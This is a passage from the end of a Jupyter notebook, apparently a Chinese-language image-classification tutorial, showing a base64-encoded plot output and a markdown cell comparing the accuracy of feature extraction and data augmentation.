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\n",
609 | "text/plain": [
610 | ""
611 | ]
612 | },
613 | "metadata": {
614 | "tags": [],
615 | "needs_background": "light"
616 | }
617 | }
618 | ]
619 | },
620 | {
621 | "cell_type": "markdown",
622 | "metadata": {
623 | "id": "IP8Jqn5weBqM"
624 | },
625 | "source": [
626 | "透過這樣的方法可以獲得將約 0.9 的正確性,效果比資料擴增法又好上一點。如果合併兩種方法 (資料擴充 + 特增萃取),成本會高一些,但是可以提升到 0.95 的正確性。"
627 | ]
628 | },
629 | {
630 | "cell_type": "code",
631 | "metadata": {
632 | "id": "0urQBZnI3WfK"
633 | },
634 | "source": [],
635 | "execution_count": null,
636 | "outputs": []
637 | }
638 | ]
639 | }
640 |
--------------------------------------------------------------------------------